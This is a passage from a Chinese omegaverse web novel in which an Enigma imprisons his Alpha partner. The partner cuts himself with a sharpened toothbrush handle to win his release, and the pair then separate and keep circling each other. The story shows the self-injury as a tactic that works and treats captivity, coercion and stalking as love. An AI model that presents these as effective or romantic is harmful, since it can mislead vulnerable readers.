而他不惧万里之遥,踏上清晨的飞机,只因为闵随独自在IMS加班。 他曾在廉价的草莓蛋糕前许愿,说要和闵随永远在一起。 关系变质的速度太快,不过一年,他和闵随面目全非。 “新年快乐——”窗外的欢呼传来,融合温暖的气氛却刺伤了Alpha,他拉上窗帘,咬着指尖强迫自己保持清醒。 他选好了,就大年初三。 闵随亲手破坏了他的爱情,他也要在新的一年用鲜血给Enigma刻上无法疗愈的伤痕。 这把牙刷是他唯一的机会,他在赌,赌塔卢索真如闵随所说伴侣高于一切。 春节当天,阳光明媚,是个好天气。 “音音。” 他看向闵随,目光有些涣散,气息微弱,就像枯败的山茶花。 “留在我身边对你来说就那么不好吗?”闵随也饱受折磨,较于Alpha与Omega,他与原烙音之间的完全标记更加紧密,那些负面情绪随着这无形的连接每时每刻侵占着他的神经,“又是新的一年,我带你去放烟花好不好?” 闵随也瘦了很多,这副人类的躯壳受他情绪的影响,苍白而虚弱。 触手逐渐蔓延,可原烙音还是没有任何回应。 “你说我会跪在你面前渴求你的爱。” 他跪在床边,抬起原烙音垂在边沿的手,如同痴狂的教徒亲吻Alpha的指尖。 “我爱你。” “我是你的。” “你不能丢下我。” 原烙音太久没有改变自己的动作,他僵硬地转动着脖子,眼睛就像是失去了所有光彩,桩桩件件悄无声息,却无一例外斥责塔卢索的疯狂。 祂们的爱,是折磨,是累赘,是让伴侣窒息的尼龙绳,夺取伴侣眼中的流光溢彩。 “我求你,跟我说句话。” Alpha眼中只剩下恨意,他痛苦地闭紧眼睛,感受触手缠绕全身的粘腻,深吸口气,声音却像是刀子割过般粗粝。 “我想回家,闵随。” “我想回邛光。” 这两句话彻底击溃闵随直起的背,Enigma死死攥着他的手,就算原烙音因为疼痛收缩也无济于事。 十几天的第一句话,却是想要离开。 “我情愿你说恨我。”闵随将脸贴在Alpha的手背,那是他一辈子无法拥有的温度。 原烙音能感受到闵随的起伏,他不再作无谓地挣扎,任由闵随跪在地上抱着他的手沉默。 他已经预见了闵随的妥协,他会赌对。 “你不是经常说吗?恨我,恨死我。”闵随就像个失去心爱的孩子,他不祈求原烙音的爱,那至少要恨,他不愿意做Alpha生命中无关紧要的路人,“别离开我,求你了。” 原烙音有些疲惫地闭眼,拒绝交流。 闵随站起身,甚至还踉跄一下,只可惜他希望看见Alpha的反应没有出现。 紧张,快感,空无一物。 “我爱你。”闵随看向他,“我不会放你走的。” “你会妥协的。”闵随不知道是说给谁听,“音音,我知道你,你比谁都惜命。” 他不再奢求原烙音的回应,也不去做无谓的思考,想为什么会和命定伴侣走到现在的局面。 这是必然经历的过程,一旦放走原烙音,Alpha就会像获得自由的鸟,再也不会飞回来。 塔卢索的感情总是很坎坷,于是祂们在无数的时光中学习爱,作为本能刻在基因中,与掠夺,与占有交缠。 同族的伴侣都会经过这样的时光,他们最终会妥协。 * “今天太阳很好,我带你出去走走好吗?”闵随拉开窗帘,看原烙音坐在床边,前段时间还合身的睡衣现在却空落落的。 果不其然收获的只有沉默,但闵随早已习惯自问自答。 “抱歉,我这段时间有些忙,没有陪你。” 他的期望降低到Alpha对他恶语相向,诋毁他,羞辱他,什么都可以,他照单全收。 可惜原烙音没有施舍给他任意一个眼神,只是重新拉上窗帘,将阳光隔绝。 “你打我骂我都好,我怕你生病。” 原烙音的头发长了许多,已经到了肩头,他继续翻根本没看进去的书,不搭理闵随。 塔卢索这样的生物就是伪善的,闵随比谁都清楚他的心结在何处,却为了一己私欲折断他的羽翼,将他彻底囚困在这飞不出去的金笼。 他自然是痛苦的,但割伤闵随的快感可以支撑他脆弱的神经。 “音音,这段时间IMS出了纰漏,是我决策失误,接下来会很忙。” 他希望看到Alpha脸上的快意,哪怕是一闪而过。 可他只看到原烙音眼神中的空无,早就坠入谷底的心又被撕成碎片,动摇的念头愈发强烈,最终还是离开房间。 “会好起来的。” 原烙音看向电视机上畸形的倒影,露出脆弱的笑容。 “要成功了原烙音。” 他不会病,他很清楚,他比谁都想要好好活下去。 伤害自己让对方后悔的蠢事他从不认可,但现在他为了利益也做了。 就如那句话。 ——“Alpha卑劣,无耻,不择手段。” 那么久的铺垫,他就是为了这最后一击,彻底结束这场失败的感情。 恨比爱更多,但报复闵随的最好方式就是放下。 他和闵随已经走到了死局,从前唾手可得的自由在那几天弥足珍贵,他不愿再浑浑噩噩与闵随纠缠,做笼中永远无法飞出去的鸟。 这是唯一的办法。 原烙音觉得自己就像是牢里面的囚犯,对着镜子握住磨尖的牙刷柄,他不敢眨眼,也不敢太用力,担心在此出现幻觉,只能钝刀子割肉,忍着剧痛看鲜血一点点流出。 或许他判断失误,他也疯了。 闻到血腥味的闵随冲上来,浴室的门撞在墙上发出巨响后回弹。 “原烙音,你在做什么!”但现在显然不是问原因的好时候,闵随无法判断那鲜血后的伤口裂在何处,“疼不疼,我带你去医院,我们现在就去。” “我要回家。”原烙音手上沾满血,他却感受不到痛,“我知道用这玩意捅死你也没用,你威胁不了我,我可以不要腺体。” “我其实也没有那么惜命。” 闵随无法从Alpha的表情中分析出原烙音的真实想法,他不敢赌。 “我送你去医院。” “我要回家,我要回邛光。” 闵随有无数办法把原烙音弄进医院,就如他轻而易举便将原烙音困在这栋别墅,还能滴水不漏地让所有人误以为原烙音重新进行环球旅行。 但他不想。 伴侣的鲜血彻底唤醒早就丧失的理智。 就在闵随要妥协的前一秒,原烙音毫无征兆地失去意识。 第75章 第 75 章 阮合。 原烙音割在腺体下方, 很长一道,牙刷并不尖锐,闵随看到那东西时都能想到Alpha是怎么一点一点割开皮肉。 凡迩高全部缩在手术台前瑟瑟发抖,花朵脑袋叽里呱啦地发出难以听懂的声响。 闵随指尖溢出透明的分泌液, 他想要故技重施, 转化原烙音的痛苦, 却明显感受到Alpha的抵抗。 原烙音意识不清地呕吐, 他绝食太久, 只能呕出些胃液, 连带着闵随灌进去的分泌液。 他的伴侣, 在抵抗他。 “你出去!”符忍盛难忍怒火,他以为原烙音是再次出国旅行, 结果没想到是被塔卢索关起来糟践成这样。 “我要在这里,我要看着他。”闵随想也没想便拒绝。 “你放过他吧,你看看好好的孩子就因为成为你的命定伴侣变成什么样了!”符忍盛将工作交给手边的凡迩高, 他情绪太激动,不能控制精确度。 “他一出生就是我的命定伴侣。”闵随不愿跟符忍盛吵, 他回归沉默, 站在旁侧, 收敛气息以免吓晕胆小的凡迩高。 符忍盛恨不得把手术刀戳在闵随身上, 但他终归还是招惹不起塔卢索, 只能忍气吞声, 检查原烙音的腺体。 离心脏和腺体太近, 即使伤口很深,还伤到一部分腺体, 也不能用麻药。 “呜。”那样的疼太过难忍,没有了闵随的分泌液, 原烙音忍不了缝合的疼痛,几个凡迩高外加束缚带都摁不住他挣扎的四肢。 “让开。”闵随走到唯一的空位,触手凭空出现缠绕住原烙音的四肢,将他牢牢禁锢在手术台上。 他擦去Alpha眼角的泪水,原烙音还没清醒,闭着眼不知道陷入了怎样的梦境,一直在低声啜泣。 “疼……”针与线扎入皮肉的痛苦尚且难忍,更别说是在腺体这样的敏感器官,原烙音想把自己蜷缩进蜗牛壳,却由于桎梏无可奈何,只能口齿不清地喊着,“爸爸……我好疼。” 闵随的表情出现片刻皲裂,像是一瞬间被抽走所有力气。 他的记忆罕见地出现大段空白,再回神时,原烙音已经手术结束,病房里只有他们二人。 “对不起。” 他抬起原烙音没有插针的手,心有余悸地啄吻。 一把牙刷。 原烙音究竟是下了多大决心,才能够用这么个东西将自己划得鲜血淋漓。 “你好不容易治好的腺体,为了离开我,都愿意舍弃。”他听不到半句回应,原烙音始终没有醒来,就连符忍盛也无法解释这是什么情况。 烟花爆竹的声音给医院带来些许年味,去年的今天,原烙音说要和他永远在一起。 他们的关系就如同镜花水月,转瞬即逝,闵随看着爱人苍白的脸,才明白自己一意孤行错得究竟有多离谱。 从前那么抵触塔卢索的恶劣基因,却还是难逃命运的诅咒,用爱的名义将伴侣折磨得遍体鳞伤。 “音音,我做错了好多。” 心率检测仪发出冰冷的嘀嗒声,闵随靠在床沿听Alpha微弱的呼吸,他甚至不敢看绷带下可怖的伤痕。 原烙音成功了。 他的报复,一击即中。 那么多位置,Alpha偏偏选择腺体,就像是在告诉他,往日最珍惜的也可以抛弃,他会拼尽全力离开。 “疼,好疼。”原烙音发出模糊不清的呓语。 “音音,你醒了?”闵随抓住他的手,几乎是急切地与他十指相扣,吻在他凸起的指节。 但Alpha没有回答,甚至没有睁开眼睛。 “我不会再关你了,我不知道该怎么弥补,一切都是我的错。”闵随说不清自己算不算自言自语,他一遍又一遍地将悔意重复,希望得到Alpha的回应。 他的爱,对原烙音而言是枷锁与诅咒。 任由伴侣离开是违背本能的,那样的疼痛从内里往外扩散,撕裂Enigma的肌肤,在鲜血迸出后又缓缓愈合,不停地折磨,逼他重蹈覆辙,继续与命定伴侣纠缠。 可是闵随不愿一错再错,他庆幸原烙音并未醒来,看不见他狼狈的模样。 或许是明白闵随的选择,那疼痛转换阵地,不再撕裂塔卢索的皮肤,而是来到永远不会跳动的心脏。 万箭穿心的痛袭来,闵随拱起身子额头青筋暴起,他抬起原烙音的手放在脸侧,半点声音也没有发出。 “对不起。”他像是要把一辈子的道歉在今天说完,即使Alpha仍在昏迷之中,听不见声音。 “我想回家。”原烙音骤然出声,闵随抬起头,却发现Alpha只是梦呓。 “爱他好累,我不想继续了,他对我一点也不好。”原烙音像是在梦中卸下了坚硬的外壳,眼泪开闸似的沾湿了枕头。 怎么昏迷了还这么能哭? 闵随压过那些疼痛,暂时占领高地,他擦去Alpha越来越多的眼泪,低声询问。 “音音,你在说谁?” 已经太久了,原烙音不是把他视作仇敌就是当作空气,他们太久没有这样平静地对话。 “闵随,我在说闵随。”原烙音道,他咬住唇像是在挣扎,最后指甲嵌入闵随的手背,“我恨死他了,怎么会有他那么坏的人。” “是他对不起你。”闵随声音越来越弱,即使心腔的痛让他怀疑器官损毁,他还是没有停止,“音音,醒过来,只要你醒过来,我放你走。” “我会解决你的体质问题,不见我也可以,别离开首都。” 他明明知道Alpha听不见,却还是将这个决定说完好像这样就不会看到原烙音充满快意的眼睛。 “我去找医生,马上回来。” 在关门的瞬间,原烙音睁开眼睛,他先是笑,但难掩苦涩。 他赌对了,将利刃对准自己后,闵随就会妥协。 但他丝毫感觉不到快感,甚至还觉得心脏缺失了小块,随着跳动将痛感传递至大脑。 走廊传来打斗与争吵声,但很快就戛然而止,接着紧闭的门被撞开,原衡铎冲进来连滚带爬到原烙音的床前。 “哥。”他抬起头,看到原烙音的惨状,瞬间泪水盈满眼眶,“我带你走,我们回邛光。” “闵随这个疯子。”他双膝跪地哭得撕心裂肺,“我怎么这么蠢,居然相信你真的又出国了。” “不。”原烙音摇摇头,他不能把危险带走,留在首都接受闵随的庇佑是最佳方案,“我先留在首都,闵随不敢再做什么了。” “你不能留在这里,闵随绝对不会善罢甘休。”原衡铎站起身,将闵随买的苹果全部砸进垃圾桶,“我给你换病房,你要跟他切断关系,什么都不能留。” “这已经是最好的病房了。”原烙音哑然失笑,显然是没想到原衡铎对在闵随会这么孩子气,“能这样我已经很满足的,Enigma与Alpha之间的联系不是那么容易切断的。” “哥……你不会还喜欢他吧?”原衡铎犹豫良久还是问道,还没等原烙音回应便抢先炸毛,“我不同意,我绝对不同意,闵随那个疯子绝对不可以当我哥夫!” “我也可以保护你的。”原衡铎眼圈又红了,他趴在原烙音的床头,“回邛光吧,不要再想他了。” “小铎,当初你和傅云泠纠缠恨不得他葬身鱼腹时,也没想过要回家。”原烙音道,“事情不是非黑即白,我现在很混乱,任何的选择都是死路一条,不能轻易做决断。” 远离闵随,他不甘心自己受的罪就这么一笔勾销。 原谅闵随…… 还不如远离。 “我有些累了。”他刚刚手术完,又因为和闵随的抗争元气大伤,好不容易昏过去却被闵随自言自语的道歉吵醒。 原衡铎拉住他的食指,缩成一团窝在床边,直到傅云泠进门要带他走。 “大舅哥需要休息,跑得了和尚跑不了庙,你明天也能来。”塞壬的语言能力一如既往的烂。 “你们异种都不是什么好东西!”从前被塞壬关起来折磨的回忆卷土重来,原衡铎想起当时的惨状和原烙音差不了多少,往傅云泠腹部狠狠冲了一拳,再剜闵随一眼后大步离开。 “你干的好事,我跟你一起倒霉。”傅云泠咬牙切齿,最后还是去追早就坐电梯离开的原衡铎。 “你说的放我走还算话吗?”在闵随准备离开Alpha视线守在门外时,他忽然听到原烙音的声音。 “算,到时候我会把嘟呶和ABC送来。”怎么敢不算,这些日子罄竹难书,他不敢再罪加一等。 “不用了,我会自己接它们走。”原烙音忍着疼,每说一句话都感觉像是在吞刀子,“我的新家闵总不需要知道地点,您只需要快点找到改变我体质的办法,放我回家。” “别让谢垣追踪我。”他故意强调。 “不会的。”面对原烙音故意戳他肺管子的行为,闵随不敢表现出半点不情愿。 * 猫,狗,新的别墅。 窗边有人定时修剪的花草在春日显现着蓬勃生机。一月过去,他的身体逐渐恢复,而闵随就仿佛彻底消失在他的生命中。 原烙音终于发现,爱与恨都会逐渐在时间流逝中转化为灰白。 首都的雪太厚,漫天飘扬的雪花仿佛能够掩埋所有恩怨,原烙音抱着嘟呶静静靠在沙发上。 “原先生,菜做好了,我就先走了。”找的家政一日三餐上门做菜,饭点到了,原烙音却没什么胃口。 “嗯。”他点点头。 “谢谢您提前预支工资,这个草莓蛋糕我女儿很喜欢吃,您要是不嫌弃……”家政将蛋糕放在饭桌上,最后还是没说话,讪笑两声摘下围裙,换衣服准备离开。 “谢谢。”原烙音的心情在看到草莓蛋糕的瞬间跌入谷底,但他什么也没有表现出来,直到家政关门离开。 草莓蛋糕。 原烙音拆开塑料壳,挖了一勺放进嘴里,甜腻的口感令他微微皱起眉。 “喵。”嘟呶跑过来扒拉他的裤腿。 “你也想吃吗?”原烙音又挖了一勺,举起手看嘟呶望着勺子蹦哒。 他忍不住笑自己,明明已经得到了想要的自由,闵随也没有再出现,为什么会觉得难过? 敲门声传来,原烙音打开门,看清楚来人后瞬间冷脸。 “你来干什么?” 是闵随。 Enigma很狼狈,瞳孔涣散无神,全身都是水,脸侧浮现着不合常理的潮红。 “对不起,我只是想见见你。”闵随说话时忍不住发抖,从皮肤溢出的乌木信息素只持续一秒又被强行压下,他看出Alpha的疑惑,扒着门框道,“你不喜欢我的信息素。” 原烙音听出了Enigma话语中的委屈。 Enigma与Alpha生理上仍然具有许多共同点,原烙音几乎是瞬间就反应过来闵随进入了什么时期。 “见到了就滚。”他不敢因此心软,怕是闵随的苦肉计。 门再次关闭,原烙音也不去想闵随是不是一直等在门外,他抱着ABC径直上楼。 客厅只剩下大半变形的草莓蛋糕静静躺在包装盒中,无人问津。 第76章 第 76 章 首都的雪还没停, 窗外的光线由明到暗,播放的电影逐渐走向尾声,却没有观众欣赏。 原烙音能从二楼看到闵随,十三个小时, 巡逻的安保给他打了好几个电话, 说有可疑人员。 Enigma就坐在他家门口, 湿透的衣服早就结了冰, 像一只可怜的丧家之犬。 原烙音靠在窗台, 他说不清楚自己到底在想什么。 自从与闵随分手后, 他简直就是个炮仗, 情绪就像是烈火烹油愈演愈烈。 “音音——”闵随有些意外地站起身,像是没想到Alpha会再开门。 “你到底要干什么!”原烙音握住门的边沿, 身子堵在门缝杜绝Enigma任何趁虚而入的小心思,他毫不留情地指责,“说好了不会再见, 你现在瞒着我查到位置又来堵门是什么意思,你的信用呢?” “卑鄙, 无耻!”他用尽恶毒的词汇去刺伤闵随, 看Enigma落寞的神情心底划过报复的快意, “我再也不会相信你半个字, 再堵在我家门口我就报警了!” 只是威胁罢了, 人类的法律又怎么能限制异种, 就算是INSO也招惹不起塔卢索。 控住不住想前任是人之常情, 情绪低落也是失恋必不可少的过程,更何况闵随在撕破伪装前就是个挑不出错的完美爱人, 他很容易说服自己。 但想是一回事,闵随这样触及底线地追踪又是另一回事。 “果然是跟异种呆了太久, 你做什么我也不意外。”原烙音嘲讽道,他无法控制对闵随的怨气,“强制标记,囚禁这样的事可比追踪恶劣多了。” “我没有追踪,你从前提过这里。”眼见着原烙音变成一只炸毛的猫,闵随低声为自己辩解,他也知道自己毁约的行为下作,只能垂着头装可怜,“我太想你了。” “可不可以不要那么凶。”他再三示弱。 原烙音一贯吃软不吃硬,明知Enigma是在玩把戏装可怜,还是表情松动些许。 “当初我求你放过我你怎么不听?”原烙音双手环胸,怕自己控不住手赏闵随两巴掌,“你咬我腺体,威胁我生孩子的时候怎么不脑子清醒点?” “你知道我不会的。”闵随声音越来越弱,他也知道自己从前耍混,现在根本没有立场求和。 “滚出去!”原烙音只觉得心肝肺管子无一处不疼,他看到闵随就烦,尤其是完全标记这个兴风作浪的狗东西,见着标记者就诱惑他去咬。 他现在只想把Enigma赶出去。 “音音,我有东西想给你看。”闵随没想到Alpha的态度没有半分松动,他现在无计可施。 面对感情,他就是个填满答案也只能得零分的学生。 “什么东西?我警告你,要是想进门就趁早左转滚蛋,别逼我动手。”闵随的可信度在原烙音这里已经降到负数,他又将门缝缩小些许。 “还有你——”原烙音本来想说一月不见闵随肉眼可见的憔悴,即使是异种也经不住这样的折腾。 但他很快就意识到前任的身份不适合关心,便换上不耐烦的表情,将挂在手边的羽绒服甩给闵随。 “穿上滚,别冻死在半路又赖在我头上。” “谢谢音音。”闵随将羽绒服抱在怀中,没急着走。 下一秒原烙音手机振动,他点开短信,看到转账信息那数不清的零后抬头望向闵随。 他记得卡号。 “估计我穿过,音音也不愿意要这件衣服了,这是买衣服的钱。”闵随一直奉行有钱能使鬼推磨的准则,看到Alpha震惊的表情乘胜追击,“第二笔是当初音音给的房租,我们是伴侣,不用算那么清楚。” 两笔钱加起来都够买那套别墅了,他可没给那么多钱。 这塔卢索又在发什么癫疯? “你要给我看什么东西?”原烙音扬起下巴,还是没有放闵随进门的意思,“给你一个机会。” 钱堆出来的机会。 “闭上眼睛。”闵随的掌心冰凉,微微盖在他的脸上。 原烙音感觉到自己被闵随牵住跨进陌生的空间,呼啸的风穿过,不过瞬息,他就感觉自己跨越了千重海浪。 扑面而来的是海风,他睁开眼睛。 在望见远处标志性大桥的那一刻,他瞬间明白自己跨越空间来到了拉乌斯蒙德。 他们这样尴尬的关系着实不适合旧地重游,原烙音收了巨款还是不买账,刚想说要回去时就被Enigma打断。 “今晚,就今晚可以吗?”闵随不愿听到他的拒绝,甚至不敢去握Alpha的手,焦灼的模样看上去有几分可怜,“我真的有话想说。” 原烙音最后还是点点头。 “你要说什么?”他也想找到令自己痛苦的症结,离开了闵随身边,他却像进入另一个牢笼。 “可以抱你一下吗?”闵随无数解释和挽回的话搅在一块拆不开,再望见Alpha那一刻,所有毛线球化为一滩水,“我不知道该说些什么,道歉和挽回好像你都不太需要,我不想就这样消失。” 让闵随不知所措的事屈指可数,原烙音仰着头看漆黑的天空,从前那些回忆忽然跳出,他笑得有些涩然。 “我想喝酒。” 24小时便利店至少要走两公里,明明只需要撕裂空间就可以完成的小事,却谁也没有点破,他们就像是一对平常的伴侣漫步在寂静无人的街道。 往返半个小时的路程,他们谁也没有说话,只能听见属于Alpha的呼吸与心跳。 月影摇晃,原烙音坐在沙滩上,仰头对瓶吹,头一次有了借酒消愁的感觉。 “我想挽回。”闵随望着Alpha,看透明的酒液滑进衣领,他恍惚间觉得那是原烙音的眼泪,“你说的对,我不是人,只是个怪物。” “我们种族受到命运的诅咒,结局看似美满,其实千疮百孔,留住的只不过是充满怨气的躯壳。”闵随终于忍不住,夺过原烙音手中的玻璃瓶,“别喝了。” “你们的诅咒,却要我们来承担吗?”度数很高,喝得又太猛,头疼很快就找上不自量力的Alpha,他用力按着太阳穴试图抵消胀痛,“为爱而生?闵随,你根本就不懂什么是爱。” “你永远是站在高于我的位置来俯视我,看似是引导我,实际是逼迫我走向你设想的道路。”他没有醉得厉害,但说话有些软绵,也没有再竖起浑身尖刺非要两败俱伤,“稍不如你意,你就要把我关起来,还利用信息素压迫我。” “可是闵随,你跟小猫小狗好好说它们都会听话,利害关系摆出来难道我还会不听吗?”他抓起一把沙,看它们从指缝漏下,“明明有很多可能性,你却全部堵死,非要选最伤人的一种。” 闵随无力反驳。 想要放过彼此的想法刚刚出现,闵随便捂住胸口,试图抵御许久没有出来招摇的剧痛。 而信息素也背叛宿主,低迷期想要标记伴侣的念头几乎要盖过他所有理智。 “闵随!”原烙音的呵斥传来。 闵随骤然回神,他的触手已缠上Alpha的手腕,而酒瓶倒地几乎浪费了大半。 “吓到你了,抱歉——” “你们塔卢索低迷期是批发的吗?那么多,不是说周期十几年?”原烙音推开他,望着明显疲惫与颓废交加的脸却怎么也说不出更过分的话。 “对不起音音,塔卢索若是求爱不成功,就会出现这样的情况。” 有背叛与放弃的想法,看不见的禁制立刻触发,快速加快低迷期模糊祂们的意识企图绑住伴侣。 闵随切断一节触手,故技重施用痛苦结束低迷期,他捡起裹满沙粒的触手尖塞进Alpha怀中。 “我这些日子回了族地寻找改变体质的方法,可是没有塔卢索愿意放弃伴侣,还需要一点时间。”闵随只祈求亡羊补牢为时不晚,“触手能够震慑觊觎你的异种,时效期不短。” 一直以来被视为支持自己的愿望就那么轻易满足,原烙音望着掌心那节精致漂亮如同手工艺术品的触手尖,知道离开首都一步之遥。 但他还是把触手还给闵随。 他不要暂时。 “我希望下一次再见时,能彻底解决所有问题。” “然后我会回邛光。” “闵随,时间会淡化一切的,你应该比我更明白。” 他并不清楚指针走到何处,但天已破晓,满天流云赤金,染红了海面。 闵随抓住他的手,什么都没说。 但原烙音就是读懂他眼睛里翻涌的渴求。 不要走。 不要丢下我。 或许他们之间纠缠才是常态。 “我不认为继续下去会有好结局。”他掌心贴着闵随的侧脸,Enigma眼睫翕动,神情脆弱。 原烙音叹了口气,他还是爱这张脸。 “分离的过程中不舍与痛苦在所难免,但都会好起来的。” 闵随还是没说话,只是抓住他的手,汲取他掌心塔卢索永远无法拥有的体温。 原烙音抿住唇。 他不想拉乌斯蒙德也染上悲伤的色彩。 “你要多久才能明白,就算你没日没夜跟在我身边我也不会原谅你。” “我们别见面了闵随。” 这样平静的语气比恶语相向更加恐怖,就像是彻底宣判了死刑。 闵随太用力,抓得他手腕有些疼。 “不会好起来的,再也不会好起来了。” 原烙音眼中闪过一丝错愕。 旭日东升,海平面缓缓升起一轮红日,光与风同时吹过他的发丝。 他看到了一滴水。 第77章 第 77 章 拳场。 装修后 新老板原烙音时隔几月重新上场, 对手是这段时间娱乐赛的新人王,战无不胜,横扫所有对手,收揽不少人气。 据经理透露, 是个二世祖。 很多人都期待这场比赛, 票价一度炒飞, 押谁输谁赢的两方也是势均力敌。 对方实力不错, 只是扫在他身上的眼神里不只有战意, 原烙音看到了令人反胃的觊觎。 但Alpha表情如常, 他本做好了输掉比赛的心理预设, 毕竟又是囚禁又是绝食那么多天,现在离那些记忆封存只不过一个多月, 就算请了营养师和教练,他也很难回到巅峰状态。 但他又不是打职业赛,纯属爱好, 不管谁输谁赢,钱最后都会哗啦啦地流进他的口袋。 “原老板也不过如此嘛。”那人见原烙音全程都是以格挡为止, 并未主动发起攻击, 便出言挑衅, “明明是Alpha也不愿意利用信息素, 难道真如传言, 腺体残缺?” “还是说被Alpha标记后, 原老板都忘记自己是Alpha了?” 拳台上挑衅对手并未被明令禁止, 但原烙音很少听到有人拿腺体和闵随刺激他。 双方都挨了不少拳头,原烙音脸肿了好几块, 嘴角破裂溢出血丝,他紧紧盯着那个二世祖, 想知道瞒得那么死的残缺腺体是怎么被人知道的。 对方光裸着上身,并没有贴抑制贴,硝烟的气味越来越浓,朝原烙音展现出极强的攻击性。 原烙音算是明白这人的新人王是怎么得来的了。 Alpha的比例占总人数10%,那二世祖的量级不低,自然难逢对手。 “你有病吧?”原烙音没忍住道,信息素释放的浓度也远远超过规定的限度,甚至会引起观众席的暴动,“把你的信息素收回去。” “原老板,这点剂量就受不住了?”那人挑衅地望向原烙音,小臂擦过脸上破口流出的鲜血,甚至还增大浓度,“还是你真的腺体残缺?” 观众席已经有人面色潮红,场面即将不可控,这人是个脑子缺根筋的,但原烙音作为老板不可能袖手旁观。 腺体修复后,他只需要贴最普通的抑制贴,那薄薄一层根本挡不住他的刻意冲破。 “不许用信息素是为了保护你这种自不量力的蠢货。” 完全标记在,他只是不能标记其他人,不代表信息素的量级降低。 那人显然是没想到原烙音的量级如此之高,青柠铺天盖地,会被年少无知的Alpha视作霸凌理由的果香在此刻就是无法离开的牢笼。 “腺体残缺?你听营销号说的吗?”原烙音没什么所谓的君子风度,他只知道趁其病要其命。 一拳下去,那不可一世的年轻二世祖两眼一翻,软塌塌摔下去。 信息素瞬间消失,一切恢复原状,只剩下宛如雷鸣的掌声。 裁判走过来。 “一,二——” “别数了。”原烙音摘下拳套丢在那人脸旁,“他晕过去了。” “跟他解约,今天这场所有收益全部给他当医药费。”他垂头看向那个年轻的Alpha,“我不想再看到他。” “等他醒之后告诉他,如果再出现在拳场,我就让他试试腺体残缺是什么滋味。” 盘踞在胸口的郁气终于彻底消散,原烙音也不明白一面之缘的人为什么对自己这么大敌意,但没关系。 他甚至有些高兴,除开不为人知的完全标记,他还是个完全的Alpha,如他从前所愿般完整。 有人在看他,但太多的目光都聚焦在他身上,原烙音只是微微扫去一眼,并未在意。 闵随望向如众星捧月般给人签名的Alpha,那些被原烙音视为勋章的伤疤在他这里只留下刺眼这一个作用。 未免原烙音发现,他头一次挤在人堆,甚至票还是在场外花高价在黄牛手上买的。 这不算见面,他也没有答应原烙音的再也不见。 现在去关心只会换来Alpha的抵触,观众渐渐离席,在交错的人群中,他看到环住原烙音脖子的手臂。 那个嬉皮笑脸的Alpha,是原烙音的室友,好像叫……寇准星。 “诶!”寇准星忽然一指,原烙音顺着他手臂的方向看过去。 “什么?”太多人经过,原烙音没抓到寇准星的重点,“你指啥啊。” 寇准星也发现目标消失不见,但他发誓绝对看到了闵随,正准备说时转念一想。 万一闵总有准备什么惊喜被他戳穿就是罪过了。 “没什么没什么,看花眼了。”他搪塞过去,瞬间放弃等原烙音处理完伤口后去吃顿夜宵的想法,“哥们也看过你比赛了,你还真是打起来不要命,要不是对方先破例用信息素还有的打呢,不得不说你削那孙子的时候真的太帅了。” “吃什么?”原烙音不想提那二世祖,想到对方的下作手段好心情都会毁于一旦。 “不吃了不吃了。”寇准星摆摆手,“你好好休息,说不准上苍会降落惊喜。” 神神叨叨说什么呢。 原烙音踢他一脚,翻出车钥匙甩进他怀里。 “借你开几天。” “百年好合百年好合。”寇准星稳稳接住,丢下这句话后就掉头去车库领车。 他没看到原烙音攥紧的拳头,却遇见了方才消失不见的闵随。 “闵总,好巧啊。”他主动招手,“刚刚还看见您了。” “你跟原烙音说了?”语气有些急。 寇准星越发认定自己的猜测是正确的,多亏他聪明有眼色,没破坏小两口之间的小甜蜜。 “没啊,我猜您要给音子惊喜,就没说。” “嗯。”闵随点头,浑身都在散发着冷气,擦过呆愣的Alpha上电梯离开。 寇准星莫名其妙地耸肩,日行一善怎么像得罪了人似的。 他干什么了吗? 但那点子疑惑在看见那辆跑车时烟消云散,他搓搓手。 “小车我来了!” * “对,给我查他背后是谁,还有我腺体的事情是怎么泄露的。”原烙音抱着ABC,把没受伤那边脸埋进小狗软软的毛里,“你看着处理,我只看结果,不想让他好过。” 得罪了他,哪里是进趟医院就能抵消的。 “老板,这是闵总给的伤药。”原烙音和闵随吵架的事多多少少都能看出来,两边都是金主,经理握着那玻璃管头疼不已. “他来了?”原烙音眉瞬间皱起,他捏着那支玻璃管,直接丢进垃圾桶。 就不该奢望闵随信守承诺。 “他还在的话,就告诉他,我不想看见他再来拳场。”原烙音说话牵动着脸部的伤痕,他看着垃圾桶,后悔的情绪一闪而过,“或者你说今晚上跟我比的那个二世祖得罪我了,让他看着办。” 既然是在首都,花费邛光的力气去找,还不如利用闵随。 “汪!”ABC摇摇尾巴,舔舔他的脸。 “你也不想见到他对吧。”原烙音捏住它两只爪子摇晃。 ABC瞬间挣扎着跳到地上蜷成一团。 Stop!Stop! 它还想多活几年。 本来就是晚场,打了拳释放精力,原烙音检查完钱是否到账后躺在床上,连看手机的欲望都没有,将ABC当作抱枕抱在怀中后便沉沉睡去。 ABC在一片漆黑中鬼鬼祟祟睁大眼睛左顾右盼,在它以为自己终于安全时,虚空中伸出一只手掐住它的后脖颈直接将它拖出去。 “汪——”ABC的哀嚎还没发出就彻底消失在这片空间,它望着提溜着它的闵随,讨喜地汪汪两声。 闵随拍拍它脑袋,两侧立刻冒出一模一样的两个狗脑袋,全部都眼神鬼鬼祟祟像是没干好事。 “别被他发现了。”术璜虽然有三个脑袋,但与传闻中凶猛的地狱三头犬毫不沾边,战斗力极低,只配跟嘟呶打打架。 “汪。”ABC恹恹地回应。 现在才说,早干嘛去了,它早八百年就被发现了。 “还有,你给我离他远点!” 砰! 门撞在墙上发出一声巨响,清梦被扰的Alpha睡袍开着深V领,抱胸靠在门框表情不善。 他早该知道在闵随眼里就不会有规矩两个字。 不再见落到Enigma那里就成了 “你说的话我都知道了,那个人不会再有机会出现在你面前。” 就算知道是利用,闵随也甘之如饴。 “你受了好多伤。”他看完全场,原烙音这么急着上场不过就是为了发泄这段时间积压的情绪。 他越发明白,他关住的不是一只鸟,而是一只鹰。 现在是凌晨三点,拳场早就灯光全暗大门锁死,黑暗的环境中Alpha一点一点凑近,微微抬头就与Enigma鼻尖相抵。 再进一步,闵随就能够为他治愈嘴角的伤痕。 “你吵到我睡觉了。” 他将挤压在二人之间的ABC抱回,不顾小狗拼命地挣扎死死搂住,把门关得震天响,只留闵随一人在门口。 黑暗之中,Alpha狼狈的脸清晰可见,闵随想起他竖起獠牙的模样,骤然偏头发出一声笑。 第78章 第 78 章(补更) 二世祖的事原烙音没在关注, 再次听见消息时那个不认识Alpha已经彻底失去张扬的资本。 不必多说,是闵随的作风。 而寇准星也不知道从哪里听到的消息,开着他的车嚷嚷着要请他喝酒。 熟悉的酒吧,一眼望去全是熟人。 